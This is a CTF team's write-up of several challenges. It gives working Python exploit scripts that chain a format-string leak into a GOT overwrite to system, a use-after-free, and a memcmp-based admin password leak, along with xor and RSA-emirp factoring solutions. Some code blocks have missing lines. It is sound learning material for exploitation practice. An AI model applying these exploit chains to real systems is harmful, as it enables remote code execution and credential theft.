This challenge was solved by and the write up was written by one of my teammates, tukan

We were given an x64 ELF binary and the corresponding libc. It had most protections enabled but still had writeable .got entries.

Reversing the challenge revealed that:

  • the binary sniffs trafic via libpcap.
  • processes only icmp and tcp/80 traffic.
  • the icmp handler contains an information leak via a format string bug.
  • the tcp handler contains a buffer overflow inside the structure allocated for tcp connections, allowing us to modify pointers later used as destination addresses for memcpy calls with attacker-controlled source data.

The relevant parts of the struct:

struct connection {
	char hostname[256];
	char *username;
	char *password;

The exploitation plan is as follows:

  • leak pointers to libc and the binary from the stack using the format string bug.
  • overwrite the username pointer in the connection struct with the address of the strstr .got entry.
  • overwrite the strstr got entry (called on attacker-controlled data in the tcp handler) via the address of system from libc.
  • read the flag using the the shell command: “. ./flag” (made possible by stderr coming back from the binary)


The flag was:



(not stable, you probably have to run multiple times)

#! /usr/bin/env python
from pwn import *
from scapy.all import *

# LIVE = False
LIVE = True
def round():
    if LIVE:
        HOST = ''
        r = remote(HOST, 2222)      # knocking
        HOST = ''

    print 'HOST: ', HOST

    context.update(arch='amd64', os='linux')

    def leakit():
        payload = '%x'*10 + 'ZZZ' + '%p' + 'YYY' + '%x'* 6 + 'KKK%pLLL' + '%x'*112  + 'AAA' + '%p' + 'BBB' +'a'*440
        print 'payloadlen: ', len(payload)
        p = sr1(IP(dst=HOST)/ICMP()/payload, timeout=2)
        if not p:
            return None, None, None
        resp = str(p[Raw])
        print 'Resp: ', resp, len(resp)
        cookie = resp.split('ZZZ')[1].split('YYY')[0]
        cookie = int(cookie, 16)
        bin_addr = resp.split('KKK')[1].split('LLL')[0]
        bin_addr = int(bin_addr, 16)
        libc_addr = resp.split('AAA')[1].split('BBB')[0]
        libc_addr = int(libc_addr, 16)

        return bin_addr, libc_addr, cookie

    bin_addr, libc_addr, cookie = leakit()
    if not bin_addr:
    print 'bin: ', hex(bin_addr)
    print 'libc: ', hex(libc_addr)
    print 'Cookie: ', hex(cookie)

    libc_diff = 0x7ffff7833ec5 - 0x00007ffff7812000
    libc_base = libc_addr - libc_diff
    system_offset = 0x0000000000046640
    system = libc_base + system_offset
    bin_diff = 0x182C
    bin_base = bin_addr - bin_diff
    strstr_offset = 0x203128
    strstr = bin_base + strstr_offset

    payload = 'Host: ' + cyclic(256) + p64(strstr) + '\r\nusername=' + p64(system) + '&password=' + 'A'*6 + '\r\n'
    q = send(IP(dst=HOST)/TCP(dport=80)/payload)
    # q = send(IP(dst=HOST)/TCP(dport=80)/'echo kaosdkas > /tmp/lolci #')
    q = send(IP(dst=HOST)/TCP(dport=80)/'. ./flag')


This challenge was solved by and the write up was written by one of my teammates, NGG

This was a simple xor-cipher, but each word had a different 1-byte xor-key.

This python code printed out lots of possibilities.

x = '110d00_000a0701_1a00_00120812_171b1a171500111a150011_001b_071006001901_0900_787100_00091b00_00130805120f0908_0900_5143594353445602000105_140b0a000b_00021500151e141514_1b00_0a15000b0b0c0b02_1000131117_000f05_0a030000031b0908_001b_101f1c001a1d14_435340424400'
for i in xrange(32, 128):
    print map(lambda y: ''.join(map(lambda c: chr(ord(c)^i), binascii.unhexlify(y))), x.split('_'))

Going through the results by hand, I could restore an english sentence which meant that the flag is

ASIS{md5(asisctf2015)} = ASIS{7fc5bed10f3d903f1e69190a16562fcb}

The second part of the challenge was exploiting a UAF (use-after-free) vulnerability.

This could be triggered if the admin deleted a “Bragisdumu” (btw what is a Bragisdumu!? :D).

But there were some restrictions, for example: the admin could only delete items if there were no stock of it, so we had to buy them first. But you could not buy any amount of them, only 16, so you had to buy the Knight Rider one.

Although the program tried to nullify the object, but it did not nullify the pointer, but the active field of the pointed object. And then deleted the object. So it did not trigged the vulnerability by itself, you also had to use a long enough username + password.

To make the exploit stable I had to leak some addresses. To do this I overwrite the whole item structure until the ptr value:

00000000 Item            struc ; (sizeof=0x88)   ; XREF: .data:globItemStructs9r
00000000 idx             dd ?                    ; XREF: .data:globItemPtrs16o
00000004 inited          db ?
00000005 name            db 100 dup(?)
00000069 mostPopular     db ?
0000006A align1          db 6 dup(?)
00000070 price           dq ?
00000078 stock           dd ?
0000007C align2          dd ?
00000080 ptr             dq ?
00000088 Item            ends

This way the address of the KnightRider preview function is leaked out, then I logged out and logged in with username which overwrite the preview function call (0x1275) to printf in the PLT (0xda0). As the parameter for this call is the Item structure’s address which is fully controlled by me I could sent in a format string which contained a lot of “%p”’s, thus leaking out the libc base address from the stack (among other things).

Then in the next round I simple overwrite the pointer with the calculated system address and got a shell :)

The flag was:


Exploit code

#!/usr/bin/env python
from pwn import *
import re

adminPass = "ASIS{304b0f16eb430391c6c86ab0f3294211}"

r = remote('', 1337)

result = r.recvuntil("your orders?")
KnightRiderAddrStr ='CCCC+(.*?), price', result, re.DOTALL).group(1) + '\x00\x00'
print 'KnightRider str = %r' % KnightRiderAddrStr
KnightRiderAddr = u64(KnightRiderAddrStr)
printfAddr = KnightRiderAddr - 0x1275 + 0xda0
print 'KnightRider addr = %x' % KnightRiderAddr
print 'printf addr = %x' % printfAddr

r.recvuntil("your orders?")
leaks = r.recvline().split('|')
print leaks
baseLeak = int(leaks[4][2:], 16)
print "leak = %x" % baseLeak
systemAddr = baseLeak - 0x7ffff7dd4060 + 0x7ffff7a5b640
print "system = %x" % systemAddr

r.recvuntil("your orders?")
r.send('cat flag\n')
print 'Flag =' + r.recvline()

The main vulnerability for getting the admin password is that if you send in a maximum length username (32 bytes) and password (64 bytes) then no string terminating null character was written. Also, usernames and passwords were checked with memcpy and exact length instead of strcpy.

As the program prints out the logged in username this leads to leaking out the next value in the stack: the memcmp result of the admin password.

char username[32]; // [sp+20h] [bp-70h]@3
char password[64]; // [sp+40h] [bp-50h]@3
int memcmpResult; // [sp+80h] [bp-10h]@5

So the attack was basically:

  • try to login with admin and the password you leaked so far (empty at first) plus “~” (0x7e)
    • although this will lead to failed login, the memcpy result won’t be cleared
    • I am using 0x7e because it is the last readable ASCII character and comparison with password will give smaller results
  • try to login with username “guest” + “A”(32-5) and password “guest” + “A”(64-5)
  • read the leaked value, this will be the positive difference between “~” and the next character from the password
  • logout and try again, until you found the password and can login as admin :)

The admin password (=flag):


Exploit code

#!/usr/bin/env python
from pwn import *
import re

adminPass = ""
foundPass = False

r = remote('', 1337)

def getResult(currPass):
    global foundPass
    password = "guest"+"A"*(64-5)
    if not "Unknown username" in r.recvline():
        foundPass = True
        return "x"

    r.recvuntil("in as guest")
    result = r.recvline()[:-1].split(password)[1]
    return result

chars = [chr(x) for x in xrange(32,127)]
print "Chars = %s" % chars

for i in xrange(45):
    result = getResult(adminPass + "~")
    if foundPass:
    nextChar = chr(ord("~") - ord(result[0]))
    adminPass += nextChar
    print "found char = %s => %s (calc)" % (nextChar, adminPass)

if foundPass:
    print "Admin password = %s" % adminPass
    print "Admin password not found :("

This challenge was solved by and the write up was written by one of my teammates, NGG.

The task was to factorize an RSA public key, but we knew that the primes were emirps (

This can be done by a simple backtrack algorithm, we try to guess the digits of both primes starting from the outermost.

KT’s note: we found out that they were emirps by factorizing some small public moduluses with Yafu. And we had to factorize only one public key as the cipher text was 129 bytes, but only 1028 bits (started with 08 which is ~4 bits) and the smallest public key which was larger than 1028 bits was the n in the python code (it is ~1029 bits btw).

n = 6528060431134312098979986223024580864611046696815854430382374273411300418237131352745191078493977589108885811759425485490763751348287769344905469074809576433677010568815441304709680418296164156409562517530459274464091661561004894449297362571476259873657346997681362092440259333170797190642839587892066761627543
def t(a, b, k):
	# sqrt(n) has 155 digits, so we need to figure out 77 digits on each side
    if k == 77:
        if a*b == n:
            print a, b
    for i in xrange(10):
        for j in xrange(10):
			# we try to guess the last not-already-guessed digits of both primes
            a1 = a + i*(10**k) + j*(10**(154-k))
            b1 = b + j*(10**k) + i*(10**(154-k))
            if a1*b1 > n:
				# a1 and b1 are too large
            if (a1+(10**(154-k)))*(b1+(10**(154-k))) < n:
				# a1 and b1 are too small
            if ((a1*b1)%(10**(k+1))) != (n%(10**(k+1))):
				# The last digits of a1*b1 (which won't change later) doesn't match n
			# this a1 and b1 seem to be a possible match, try to guess remaining digits
            t(a1, b1, k+1)

# the primes have odd number of digits (155), so we try all possible middle digits (it simplifies the code)
for i in xrange(10):
    t(i*(10**77), i*(10**77), 0)
p = 72432241732033981541049204016745025006867436329489703868293535625696723664804764149457845005290546241606890061226796845022216057745054630401792003744462109
q = 90126444730029710403645054775061222054869762216009860614264509250054875494146740846632769652653539286830798492363476860052054761040294014518933023714223427

And the flag was: